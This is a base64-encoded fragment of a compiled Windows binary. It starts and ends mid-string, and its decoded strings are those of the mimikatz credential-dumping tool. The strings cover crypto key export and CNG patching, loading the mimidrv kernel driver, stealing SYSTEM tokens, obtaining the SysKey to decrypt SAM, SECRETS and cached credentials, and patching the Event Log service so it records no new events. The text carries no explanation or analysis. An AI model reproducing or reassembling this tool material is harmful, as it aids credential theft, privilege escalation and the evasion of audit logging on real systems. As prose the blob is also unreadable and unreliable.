nlwdEdldFByb3BlcnR5AAAAAAAAAE5DcnlwdEZyZWVCdWZmZXIAAAAAAAAAAE5DcnlwdEZyZWVPYmplY3QAAAAAAAAAAEJDcnlwdEVudW1SZWdpc3RlcmVkUHJvdmlkZXJzAAAAQkNyeXB0RnJlZUJ1ZmZlcgAAAAAAAAAACgBDAHIAeQBwAHQAbwBBAFAASQAgAHAAcgBvAHYAaQBkAGUAcgBzACAAOgAKAAAAJQAyAHUALgAgACUAcwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBwAHIAbwB2AGkAZABlAHIAcwAgADsAIABDAHIAeQBwAHQARQBuAHUAbQBQAHIAbwB2AGkAZABlAHIAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAKAEMATgBHACAAcAByAG8AdgBpAGQAZQByAHMAIAA6AAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHAAcgBvAHYAaQBkAGUAcgBzACAAOwAgAEIAQwByAHkAcAB0AEUAbgB1AG0AUgBlAGcAaQBzAHQAZQByAGUAZABQAHIAbwB2AGkAZABlAHIAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAHMAeQBzAHQAZQBtAHMAdABvAHIAZQAAAEEAcwBrAGkAbgBnACAAZgBvAHIAIABTAHkAcwB0AGUAbQAgAFMAdABvAHIAZQAgACcAJQBzACcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAHQAbwByAGUAcwAgADsAIABDAGUAcgB0AEUAbgB1AG0AUwB5AHMAdABlAG0AUwB0AG8AcgBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAE0AeQAAAAAAAAAAAHMAdABvAHIAZQAAAAAAAAAAAAAAAAAAACAAKgAgAFMAeQBzAHQAZQBtACAAUwB0AG8AcgBlACAAIAA6ACAAJwAlAHMAJwAgACgAMAB4ACUAMAA4AHgAKQAKACAAKgAgAFMAdABvAHIAZQAgACAAIAAgACAAIAAgACAAIAA6ACAAJwAlAHMAJwAKAAoAAAAAACgAbgB1AGwAbAApAAAAAAAAAAAAAAAAAAkASwBlAHkAIABDAG8AbgB0AGEAaQBuAGUAcgAgACAAOgAgACUAcwAKAAkAUAByAG8AdgBpAGQAZQByACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAAAJAFQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAcgB5AHAAdABHAGUAdABVAHMAZQByAEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAawBlAHkAUwBwAGUAYwAgAD0APQAgAEMARQBSAFQAXwBOAEMAUgBZAFAAVABfAEsARQBZAF8AUwBQAEUAQwAgAHcAaQB0AGgAbwB1AHQAIABDAE4ARwAgAEgAYQBuAGQAbABlACAAPwAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwByAHkAcAB0AEEAYwBxAHUAaQByAGUAQwBlAHIAdABpAGYAaQBjAGEAdABlAFAAcgBpAHYAYQB0AGUASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAGUAcgB0AEcAZQB0AEMAZQByAHQAaQBmAGkAYwBhAHQAZQBDAG8AbgB0AGUAeAB0AFAAcgBvAHAAZQByAHQAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQARwBlAHQATgBhAG0AZQBTAHQAcgBpAG4AZwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQARwBlAHQATgBhAG0AZQBTAHQAcgBpAG4AZwAgACgAZgBvAHIAIABsAGUAbgApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAGUAcgB0AE8AcABlAG4AUwB0AG8AcgBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABwAHIAbwB2AGkAZABlAHIAAAAAAAAAAABwAHIAbwB2AGkAZABlAHIAdAB5AHAAZQAAAAAAAAAAAG0AYQBjAGgAaQBuAGUAAAAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBvAGYAdAB3AGEAcgBlACAASwBlAHkAIABTAHQAbwByAGEAZwBlACAAUAByAG8AdgBpAGQAZQByAAAAYwBuAGcAcAByAG8AdgBpAGQAZQByAAAAAAAAAAAAAAAgACoAIABTAHQAbwByAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACcAJQBzACcACgAgACoAIABQAHIAbwB2AGkAZABlAHIAIAAgACAAIAAgACAAOgAgACcAJQBzACcAIAAoACcAJQBzACcAKQAKACAAKgAgAFAAcgBvAHYAaQBkAGUAcgAgAHQAeQBwAGUAIAA6ACAAJwAlAHMAJwAgACgAJQB1ACkACgAgACoAIABDAE4ARwAgAFAAcgBvAHYAaQBkAGUAcgAgACAAOgAgACcAJQBzACcACgAAAAAAAAAAAAoAQwByAHkAcAB0AG8AQQBQAEkAIABrAGUAeQBzACAAOgAKAAAAAAAKACUAMgB1AC4AIAAlAHMACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AFUAcwBlAHIASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAEMAcgB5AHAAdABHAGUAdABQAHIAbwB2AFAAYQByAGEAbQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAACgBDAE4ARwAgAGsAZQB5AHMAIAA6AAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABOAEMAcgB5AHAAdABPAHAAZQBuAEsAZQB5ACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAATgBDAHIAeQBwAHQARQBuAHUAbQBLAGUAeQBzACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAE4AQwByAHkAcAB0AE8AcABlAG4AUwB0AG8AcgBhAGcAZQBQAHIAbwB2AGkAZABlAHIAIAAlADAAOAB4AAoAAAAAAAAAAABFAHgAcABvAHIAdAAgAFAAbwBsAGkAYwB5AAAAAAAAAEwAZQBuAGcAdABoAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcAByAGkAbgB0AEsAZQB5AEkAbgBmAG8AcwAgADsAIABOAEMAcgB5AHAAdABHAGUAdABQAHIAbwBwAGUAcgB0AHkAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAHIAaQBuAHQASwBlAHkASQBuAGYAbwBzACAAOwAgAEMAcgB5AHAAdABHAGUAdABLAGUAeQBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAWQBFAFMAAABOAE8AAAAAAAkARQB4AHAAbwByAHQAYQBiAGwAZQAgAGsAZQB5ACAAOgAgACUAcwAKAAkASwBlAHkAIABzAGkAegBlACAAIAAgACAAIAAgACAAOgAgACUAdQAKAAAAAABwAHYAawAAAEMAQQBQAEkAUABSAEkAVgBBAFQARQBCAEwATwBCAAAATwBLAAAAAABLAE8AAAAAAAkAUAByAGkAdgBhAHQAZQAgAGUAeABwAG8AcgB0ACAAOgAgACUAcwAgAC0AIAAAACcAJQBzACcACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQASwBlAHkAVABvAEYAaQBsAGUAIAA7ACAARQB4AHAAbwByAHQAIAAvACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQASwBlAHkAVABvAEYAaQBsAGUAIAA7ACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGcAZQBuAGUAcgBhAHQAZQBGAGkAbABlAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAZABlAHIAAAAJAFAAdQBiAGwAaQBjACAAZQB4AHAAbwByAHQAIAAgADoAIAAlAHMAIAAtACAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABDAGUAcgB0ACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAQwBlAHIAdAAgADsAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZwBlAG4AZQByAGEAdABlAEYAaQBsAGUATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAHAAZgB4AAAAbQBpAG0AaQBrAGEAdAB6AAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAQwBlAHIAdAAgADsAIABFAHgAcABvAHIAdAAgAC8AIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACUAcwBfACUAcwBfACUAdQBfACUAcwAuACUAcwAAAAAAQQBUAF8ASwBFAFkARQBYAEMASABBAE4ARwBFAAAAAABBAFQAXwBTAEkARwBOAEEAVABVAFIARQAAAAAAAAAAAEMATgBHACAASwBlAHkAAAByAHMAYQBlAG4AaAAuAGQAbABsAAAAAABMAG8AYwBhAGwAIABDAHIAeQBwAHQAbwBBAFAASQAgAHAAYQB0AGMAaABlAGQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBhAHAAaQAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcABfAGMAYQBwAGkAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAbgBjAHIAeQBwAHQALgBkAGwAbAAAAAAAbgBjAHIAeQBwAHQAcAByAG8AdgAuAGQAbABsAAAAAABLAGUAeQBJAHMAbwAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAXwBjAG4AZwAgADsAIABOAG8AIABDAE4ARwAKAAAAQwBsAGUAYQByACAAYQBuACAAZQB2AGUAbgB0ACAAbABvAGcAAAAAAGMAbABlAGEAcgAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABwAGEAdABjAGgAIABFAHYAZQBuAHQAcwAgAHMAZQByAHYAaQBjAGUAIAB0AG8AIABhAHYAbwBpAGQAIABuAGUAdwAgAGUAdgBlAG4AdABzAAAAZAByAG8AcAAAAAAAAAAAAEUAdgBlAG4AdAAgAG0AbwBkAHUAbABlAAAAAAAAAAAAZQB2AGUAbgB0AAAAAAAAAGwAbwBnAAAAZQB2AGUAbgB0AGwAbwBnAC4AZABsAGwAAAAAAAAAAAB3AGUAdgB0AHMAdgBjAC4AZABsAGwAAABFAHYAZQBuAHQATABvAGcAAAAAAAAAAABTAGUAYwB1AHIAaQB0AHkAAAAAAAAAAABVAHMAaQBuAGcAIAAiACUAcwAiACAAZQB2AGUAbgB0ACAAbABvAGcAIAA6AAoAAAAtACAAJQB1ACAAZQB2AGUAbgB0ACgAcwApAAoAAAAAAC0AIABDAGwAZQBhAHIAZQBkACAAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBlAHYAZQBuAHQAXwBjAGwAZQBhAHIAIAA7ACAAQwBsAGUAYQByAEUAdgBlAG4AdABMAG8AZwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZQB2AGUAbgB0AF8AYwBsAGUAYQByACAAOwAgAE8AcABlAG4ARQB2AGUAbgB0AEwAbwBnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAATABpAHMAdAAgAG0AaQBuAGkAZgBpAGwAdABlAHIAcwAAAAAAAAAAAG0AaQBuAGkAZgBpAGwAdABlAHIAcwAAAEwAaQBzAHQAIABGAFMAIABmAGkAbAB0AGUAcgBzAAAAZgBpAGwAdABlAHIAcwAAAFIAZQBtAG8AdgBlACAAbwBiAGoAZQBjAHQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawAAAAAAAABuAG8AdABpAGYATwBiAGoAZQBjAHQAUgBlAG0AbwB2AGUAAAAAAAAAUgBlAG0AbwB2AGUAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAAAAAAG4AbwB0AGkAZgBQAHIAbwBjAGUAcwBzAFIAZQBtAG8AdgBlAAAAAABMAGkAcwB0ACAAbwBiAGoAZQBjAHQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAAAAAAAAbgBvAHQAaQBmAE8AYgBqAGUAYwB0AAAATABpAHMAdAAgAHIAZQBnAGkAcwB0AHIAeQAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAAAAAG4AbwB0AGkAZgBSAGUAZwAAAAAAAAAAAEwAaQBzAHQAIABpAG0AYQBnAGUAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAbgBvAHQAaQBmAEkAbQBhAGcAZQAAAAAATABpAHMAdAAgAHQAaAByAGUAYQBkACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAAAAAAAAAG4AbwB0AGkAZgBUAGgAcgBlAGEAZAAAAEwAaQBzAHQAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAAAAAABuAG8AdABpAGYAUAByAG8AYwBlAHMAcwAAAAAAAAAAAEwAaQBzAHQAIABTAFMARABUAAAAAAAAAHMAcwBkAHQAAAAAAAAAAABMAGkAcwB0ACAAbQBvAGQAdQBsAGUAcwAAAAAAAAAAAG0AbwBkAHUAbABlAHMAAABTAGUAdAAgAGEAbABsACAAcAByAGkAdgBpAGwAZQBnAGUAIABvAG4AIABwAHIAbwBjAGUAcwBzAAAAAAAAAAAAcAByAG8AYwBlAHMAcwBQAHIAaQB2AGkAbABlAGcAZQAAAAAAAAAAAEQAdQBwAGwAaQBjAGEAdABlACAAcAByAG8AYwBlAHMAcwAgAHQAbwBrAGUAbgAAAHAAcgBvAGMAZQBzAHMAVABvAGsAZQBuAAAAAAAAAAAAUAByAG8AdABlAGMAdAAgAHAAcgBvAGMAZQBzAHMAAABwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAAAAAAEIAUwBPAEQAIAAhAAAAAABiAHMAbwBkAAAAAAAAAAAAUABpAG4AZwAgAHQAaABlACAAZAByAGkAdgBlAHIAAABwAGkAbgBnAAAAAAAAAAAAUgBlAG0AbwB2AGUAIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgACgAbQBpAG0AaQBkAHIAdgApAAAAAAAtAAAAAAAAAAAAAABJAG4AcwB0AGEAbABsACAAYQBuAGQALwBvAHIAIABzAHQAYQByAHQAIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgACgAbQBpAG0AaQBkAHIAdgApAAAAAAArAAAAAAAAAHIAZQBtAG8AdgBlAAAAAABMAGkAcwB0ACAAcAByAG8AYwBlAHMAcwAAAAAAAAAAAHAAcgBvAGMAZQBzAHMAAABtAGkAbQBpAGQAcgB2AC4AcwB5AHMAAABtAGkAbQBpAGQAcgB2AAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAGEAbAByAGUAYQBkAHkAIAByAGUAZwBpAHMAdABlAHIAZQBkAAoAAABbACoAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0AAoAAAAAAAAAAABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgACgAbQBpAG0AaQBkAHIAdgApAAAAAAAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABzAHUAYwBjAGUAcwBzAGYAdQBsAGwAeQAgAHIAZQBnAGkAcwB0AGUAcgBlAGQACgAAAAAAAAAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABBAEMATAAgAHQAbwAgAGUAdgBlAHIAeQBvAG4AZQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAVwBvAHIAbABkAFQAbwBNAGkAbQBpAGsAYQB0AHoAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAQwByAGUAYQB0AGUAUwBlAHIAdgBpAGMAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwBpAHMARgBpAGwAZQBFAHgAaQBzAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwBnAGUAdABBAGIAcwBvAGwAdQB0AGUAUABhAHQAaABPAGYAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAATwBwAGUAbgBTAGUAcgB2AGkAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAcwB0AGEAcgB0AGUAZAAKAAAAAAAAAAAAWwAqAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAGEAbAByAGUAYQBkAHkAIABzAHQAYQByAHQAZQBkAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAFMAdABhAHIAdABTAGUAcgB2AGkAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAATwBwAGUAbgBTAEMATQBhAG4AYQBnAGUAcgAoAGMAcgBlAGEAdABlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAcwB0AG8AcABwAGUAZAAKAAAAAAAAAAAAAAAAAAAAAABbACoAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAbgBvAHQAIAByAHUAbgBuAGkAbgBnAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwByAGUAbQBvAHYAZQBfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AcwB0AG8AcAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAcgBlAG0AbwB2AGUAZAAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcgBlAG0AbwB2AGUAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAHIAZQBtAG8AdgBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABQAHIAbwBjAGUAcwBzACAAOgAgACUAcwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAUAByAG8AYwBlAHMAcwBJAGQARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAHAAaQBkAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAgADsAIABBAHIAZwB1AG0AZQBuAHQAIAAvAHAAcgBvAGMAZQBzAHMAOgBwAHIAbwBnAHIAYQBtAC4AZQB4AGUAIABvAHIAIAAvAHAAaQBkADoAcAByAG8AYwBlAHMAcwBpAGQAIABuAGUAZQBkAGUAZAAKAAAAAAAAAAAAUABJAEQAIAAlAHUAIAAtAD4AIAAlADAAMgB4AC8AJQAwADIAeAAgAFsAJQAxAHgALQAlADEAeAAtACUAMQB4AF0ACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAE4AbwAgAFAASQBEAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAFAAcgBvAHQAZQBjAHQAZQBkACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUAIABiAGUAZgBvAHIAZQAgAFcAaQBuAGQAbwB3AHMAIABWAGkAcwB0AGEACgAAAAAAZgByAG8AbQAAAAAAdABvAAAAAAAAAAAAVABvAGsAZQBuACAAZgByAG8AbQAgAHAAcgBvAGMAZQBzAHMAIAAlAHUAIAB0AG8AIABwAHIAbwBjAGUAcwBzACAAJQB1AAoAAAAAAAAAAAAgACoAIABmAHIAbwBtACAAMAAgAHcAaQBsAGwAIAB0AGEAawBlACAAUwBZAFMAVABFAE0AIAB0AG8AawBlAG4ACgAAAAAAAAAAAAAAAAAAACAAKgAgAHQAbwAgADAAIAB3AGkAbABsACAAdABhAGsAZQAgAGEAbABsACAAJwBjAG0AZAAnACAAYQBuAGQAIAAnAG0AaQBtAGkAawBhAHQAegAnACAAcAByAG8AYwBlAHMAcwAKAAAAVABhAHIAZwBlAHQAIAA9ACAAMAB4ACUAcAAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBuAG8AdABpAGYAeQBHAGUAbgBlAHIAaQBjAFIAZQBtAG8AdgBlACAAOwAgAE4AbwAgAGEAZABkAHIAZQBzAHMAPwAKAAAAAABLAGUAcgBiAGUAcgBvAHMALQBOAGUAdwBlAHIALQBLAGUAeQBzAAAASwBlAHIAYgBlAHIAbwBzAAAAAAAAAAAAVwBEAGkAZwBlAHMAdAAAAEMATABFAEEAUgBUAEUAWABUAAAAAAAAAFAAcgBpAG0AYQByAHkAAABrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAAAAAAAAAAAG4AdABkAGwAbAAuAGQAbABsAAAAAAAAAGwAcwBhAHMAcgB2AC4AZABsAGwAAAAAAHMAYQBtAHMAcgB2AC4AZABsAGwAAAAAAEQAYQB0AGEAAAAAAAAAAABHAEIARwAAAFMAawBlAHcAMQAAAEoARAAAAAAAAAAAAEQAZQBmAGEAdQBsAHQAAABDAHUAcgByAGUAbgB0AAAAQQBzAGsAIABMAFMAQQAgAFMAZQByAHYAZQByACAAdABvACAAcgBlAHQAcgBpAGUAdgBlACAAUwBBAE0ALwBBAEQAIABlAG4AdAByAGkAZQBzACAAKABuAG8AcgBtAGEAbAAsACAAcABhAHQAYwBoACAAbwBuACAAdABoAGUAIABmAGwAeQAgAG8AcgAgAGkAbgBqAGUAYwB0ACkAAAAAAGwAcwBhAAAAAAAAAAAAAABHAGUAdAAgAHQAaABlACAAUwB5AHMASwBlAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAATgBMACQASwBNACAAdABoAGUAbgAgAE0AUwBDAGEAYwBoAGUAKAB2ADIAKQAgACgAZgByAG8AbQAgAHIAZQBnAGkAcwB0AHIAeQAgAG8AcgAgAGgAaQB2AGUAcwApAAAAAAAAAGMAYQBjAGgAZQAAAAAAAAAAAAAAAAAAAEcAZQB0ACAAdABoAGUAIABTAHkAcwBLAGUAeQAgAHQAbwAgAGQAZQBjAHIAeQBwAHQAIABTAEUAQwBSAEUAVABTACAAZQBuAHQAcgBpAGUAcwAgACgAZgByAG8AbQAgAHIAZQBnAGkAcwB0AHIAeQAgAG8AcgAgAGgAaQB2AGUAcwApAAAAAABzAGUAYwByAGUAdABzAAAAAAAAAAAAAABHAGUAdAAgAHQAaABlACAAUwB5AHMASwBlAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAAUwBBAE0AIABlAG4AdAByAGkAZQBzACAAKABmAHIAbwBtACAAcgBlAGcAaQBzAHQAcgB5ACAAbwByACAAaABpAHYAZQBzACkAAAAAAHMAYQBtAAAATABzAGEARAB1AG0AcAAgAG0AbwBkAHUAbABlAAAAAABsAHMAYQBkAHUAbQBwAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAFkAUwBUAEUATQAgAGgAaQB2AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMAQQBNACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFMAWQBTAFQARQBNAAAAAABTAEEATQAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEA